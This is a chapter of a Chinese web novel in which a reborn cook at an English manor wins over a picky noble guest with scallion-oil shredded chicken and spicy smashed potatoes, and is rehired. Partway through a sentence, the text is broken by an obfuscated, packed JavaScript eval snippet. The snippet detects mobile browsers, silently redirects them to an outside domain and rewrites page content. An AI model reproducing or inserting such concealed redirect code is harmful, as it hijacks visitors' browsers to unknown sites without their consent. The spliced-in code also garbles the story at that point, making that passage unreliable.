龙虾伊面？呃，没有伊面…… 梭子蟹炒年糕？呃，没有年糕……而且现在也不是吃蟹的季节。 既然海鲜行不通，那就只有鸡肉和牛羊肉了，莫莉太太很擅长做牛羊肉排，一周有四天都会上牛肋排或者羊扒，格雷小姐恐怕早就吃腻了，可见此路不通。 既如此，那就只剩下鸡肉了，没人能在做鸡上超过广东人。 安珀拿出纸笔刷刷写上自己需要的食材，第二天交给了莉莉，让她去准备。 莉莉飞速看了几眼，可惜她也不识字，但依然拍了拍胸脯打包票：“你放心吧，包在我身上！” * 午后的阳光斜斜切进偏厅，在地面上洇开一个又一个光晕。庄园里的壁炉不分昼夜得燃烧着，将室内烘烤得暖意融融，恍若春日。 赫伯夫人正在翻看上个月庄园的账本，窗外突然传来女孩们清脆的笑闹声，像是无数银铃同时摇晃，震得她太阳穴突突直跳，她下意识抬手揉了揉眉心。 显然，她也被这个外甥女折磨得不轻。 “夫人，咱们一月份的开支是十二月的三倍。”罗拉太太适时地开口提醒。 账本被“啪”地合上，皮革封面碰撞的声响在寂静的房间里格外清晰。 “我知道。”赫伯夫人面无表情地说。在伺候自己几十年的老仆人面前，她无需伪装。 十二月份有圣诞，还举办了舞会，开支大一点倒也正常。可这一月……仅多了五口人，开支就能成倍增长吗？ 赫伯夫人安慰自己，只是花点小钱，这一切都是值得的。 “去通知厨房，中午做点新样式的菜。” * 花园里 格雷小姐的贴身女佣正帮她推着秋千，她见小姐笑得肆意又大声，满心忧虑：“小姐，咱们要继续这样吗？” “怎么？”格雷小姐抬眼，眼中闪过锐利的光芒，“你有意见？” “不敢！”女佣慌忙屈膝行礼，喉结不安地滚动着，“我只怕对小姐的名声有损……” 格雷小姐轻哼一声，停下手中的动作，立刻有女佣捧着骨瓷茶杯上前。 “你还当姨妈是真心疼我呢，”格雷小姐对着杯中的倒影冷笑，“也不过是为了我的……” 她来戈恩过圣诞本就是与姨妈之间一场心照不宣的交易。可表哥日日忙于工作，心思完全不在自己身上，加上远离了利物浦的热闹繁华，仅过了一周她就待不下去了。如果不是被强行要求留下，圣诞一过她早就离开了。 “小姐？”贴身女佣狐疑道。 格雷小姐却并不打算继续说了，她仰头将杯中残茶一饮而尽，然后将骨瓷茶杯重重塞进女佣手中：“走吧，去看看，今天莫莉太太又做什么好吃的了！” 15. 葱油手撕鸡 “取三年的老母鸡，鸡肉焯水，去掉浮沫。然后整只放砂锅炖煮，调味只放姜和盐…… “两小时后起锅，撩开鸡油，底下的鸡汤清亮如水，用来做高汤最佳。” 两个小时的文火煨煮后，砂锅盖被缓缓掀开。只见金黄的鸡油浮于表面，轻轻吹开这层油膜，底下的鸡汤澄澈如月光，一切都如安珀所言。 “果真如此！”莫莉太太惊喜尖叫，仿佛打开了新世界的的大门。但她没时间细品，飞速在小本本上记下刚刚安珀操作的所有步骤，生怕晚一秒钟就忘了。 安珀微笑着补充道：“您常用的蔬菜高汤也不错，但更适合口味清淡的菜品，如蔬菜汤、忌廉汤等。” 莉莉忍不住咋舌：“安珀，你这脑子究竟是怎么长得？” 其实安珀很想说，这并非自己原创，而是华夏民族千年来集体智慧的结晶。但这些，她就没必要跟两人一一细说了。 “收着吧，今后我们经常要用到这道高汤。”安珀说着，目光转向案板：“好了，今天午餐才是重头戏，看好了，我只演示一次——” 安珀将一个碗倒扣在盘子里，四周依次放上三只肥美的大鸡腿并三片姜和新鲜葱段。 这种原产欧洲的韭葱，区别于华夏本土小葱，叶片扁平。它的葱味很淡，吃起来更像韭菜，安珀选择它也是为了更迎合当地人的口味。 她边做边为二人讲解：“还是取新鲜的鸡腿，但这次不炖汤，依然可以出汁，这类鸡汁用来做蘸料和拌料都不错。” 等鸡腿蒸熟的功夫，安珀已经熟练地切好了洋葱蒜末等配菜，然后放入锅中煸香。 随着油温升高，洋葱在锅中渐渐变得金黄酥脆，浓郁的香气弥漫开来。安珀将滚烫的洋葱油浇在葱姜蒜末上。“滋啦”一声，一股复合香气瞬间爆发，霸道地占据了整个厨房。 莉莉深吸一口气，陶醉道：“好香啊——” 安珀提醒她：“可以把鸡腿拿出来了，小心汤汁。” 莉莉利落地掀开锅盖，然而蒸腾的热气散去后，盘子里还是那三只鸡腿，全然不见预想中浓稠的鸡汁。她与莫莉太太对视一眼，眼底皆是难掩的失落。 莫非哪里出错了？这哪有鸡汁呀？ 安珀好笑地提醒道：“在盖碗里。” 莉莉依言照做，一股覆盖着金黄油膜的鸡汁瞬间涌出将鸡腿淹没。 莉莉眼睛瞬间亮起来，兴奋得声音都拔高八度：“真的出汁了！” 安珀不再耽搁，让莉莉负责鸡腿的扫尾工作，她则开始做下一道菜。 滚圆的小土豆上锅蒸熟，到叉子可以轻松插入的程度。依次倒入橄榄油、黑胡椒、海盐，为了增加风味，安珀又加入了洋葱、大蒜和辣椒碎。 其实英国的本土饮食还是以清淡为主，传统菜品如炸鱼薯条、鳗鱼派、鳗鱼冻等，通常不会使用大量辣椒。但是为了让菜品更新颖，安珀还是冒险加了一点辣椒碎。 默西赛德郡的冬天并不冷，但常年下雨风也很大，总有一股挥之不去的阴冷，吃点辣的可以暖暖身。 然后把土豆压成小饼，继续烤制，出锅以后撒上欧芹碎和庄园自制的干酪碎，一道香香脆脆又带辣的风味烤土豆就好了。 这道快手小菜还是前世TK兴起以后，安珀跟短视频学的，很适合做餐前。 土豆可不是一道会出错的食物。 * 今天的主菜是清蒸多宝鱼配龙虾酱，汤品是薄荷培根蔬菜汤。 醇厚的培根油脂裹着薄荷的清冽，还有独特的香料配比，格雷小姐只尝了一口就知道是莫莉太太精心烹饪的。 味道上来说，无可挑剔。 所用的食材也是昂贵无比。 但这样的美味珍馐，对于出身男爵府的她来说，也不过是稀疏平常。 看来戈恩再有乡间野趣，也终究是个乡村，吃的玩的用的都比不上城里。这座被姨妈吹得天花乱坠的庄园，也难以与利物浦的男爵公馆相提并论。 格雷小姐顿觉索然无味，正当她思索着今天该用什么理由把菜撤下去时，罗拉太太亲自捧着银制餐盘步入餐厅。 “夫人小姐，厨房今日做了新菜式。” 随着赫伯夫人的点头，盖子被揭开，盘中的美味终于露出了庐山真容—— 琥珀色的鸡肉如小山般堆叠，表面泛着莹润的油光，嫩绿的青葱与雪白的芝麻点缀其上。虽然卖相一般，但架不住这股令人垂涎的香气扑面而来，瞬间勾住了格雷小姐的嗅觉，让她不自觉地坐直了身子。 格雷小姐犹豫再三，还是拿起叉子插起一块鸡肉放入嘴里。 手撕鸡搁久了，蘸料变成了果冻质地，接触到温热的口腔那一瞬，又重新化为鸡汁，而软嫩的鸡肉几乎无需咀嚼便能滑入喉间，葱香蒜香油香融合，那独特的风味让她忍不住又叉起第二块：“这是什么？似乎不是莫莉太太的手艺。” 罗拉太太替她解惑：“这是另一位厨娘做的，叫葱油手撕鸡。” 赫伯夫人心底微微惊讶，面上却未表现出半分，她当然知道家里没有什么另一位厨娘。虽然不知道罗拉在唱哪出，但她相信自己忠实的仆人，决定先静观其变。 格雷小姐兴致盎然，她迫不及待地揭开了另一个盘子，见里面盛了一盘铺满雪花奶酪碎的土豆片，也并不觉得扫兴。 没有家庭教师在身旁，她也没了顾忌，不再管什么贵族礼仪，直接上手拿了一块送入口中。 这一尝更是不得了，先前吃过的炖土豆烤土豆全白吃了。 这里的土豆饼焦脆而咸鲜，仿佛有肉味，混合着浓郁的奶香也不腻，后劲是辣的，涌上鼻腔的瞬间，感觉鼻涕眼泪都要一起出来了。 可哪怕如此，格雷小姐依然没有停下食用的速度，反而越吃越上头，越吃越上瘾。 她甚至想到，以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542055|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在剧院看歌舞剧的时候，就应该配上这个点心。 “姨妈，这道土豆也很特别呢。”格雷小姐眼眸亮晶晶的，言语中满是惊喜。 见她用餐完全程的赫伯夫人与罗拉太太对视一眼，同时暗暗松了口气。 赫伯夫人顿感如释重负，笑容比之前还更真切了几分：“你要是喜欢就多吃点。” 用餐结束以后，格雷小姐一脸餮足地擦拭着嘴角：“这真的太美味了，姨妈，我是否可以见一下这位厨娘。” 赫伯夫人正想支走她，闻言哪有不同意的：“当然，庄园就是你的家，你可以随意出入。” 待格雷小姐离开后，赫伯夫人迫不及待地将罗拉太太唤至书房。 “夫人，希望您别怪我自作主张。”罗拉太太神色略带忐忑。 “怎么会？你做得很好。对了，那位新厨娘究竟是谁？”赫伯夫人端起青瓷茶杯，轻抿一口。 “此人夫人也认识，就是安珀小姐。” “安珀……”赫伯夫人口中细细咀嚼着这个既熟悉又陌生的名字：“她就是那个做炙烤鳗鱼的姑娘吧，可我怎么记得她是伊丽莎白的……” “正是如此。可是夫人，她真的……”罗拉太太话音未落，便被截断。 “既然能做出格雷喜欢的菜肴，那便让她重新回来做事吧。”赫伯夫人漫不经心地说道。 这些天为了格雷小姐挑剔的胃口，何止是家里的佣人，就连赫伯夫人自己也是不胜其扰，能有人为她解决燃眉之急，她求之不得。 至于伊丽莎白的事情……本就是她做错了事，一个底层的厨娘还能为了她姐姐翻了天不成？ * 安珀当然不想翻天，她只想赚钱！ 重新回到了之前面试的偏厅，与上次纯紧张的心情不同，这回安珀还多了一丝忐忑。 索性罗拉太太并没有为难她的意思。 罗拉太太递来一份带有新鲜油墨香的聘用书，告诉她可以正式留在庄园做长期工了，以后专门负责格雷小姐的饮食，周薪是二十先令。 莫莉太太的周薪是三十先令，她是自己的顶头上司，两者工资自然不能相同，对此安珀已经很满意了。 她一日三餐住宿都不需要花钱，衣服穿姐姐们剩下来的即可，日常也没什么需要花销的地方，这样算下来，短短半年就能存下二十磅。 “你是个聪明的孩子，总能抓住任何机遇。”临走前，罗拉太太这样对安珀说道。 这话不带有任何的贬义，反而带有淡淡的赞许意味。 安珀明白罗拉太太是指自己搭上了格雷小姐这条大船，顺带敲打一下自己。 但她依然感激对方。 “再次感谢您的举荐。”安珀朝她屈膝行礼。 罗拉太太没有多言，挥了挥手让她出去。 走出大门的时候，安珀感觉今日的阳光都比往日更灿烂一些。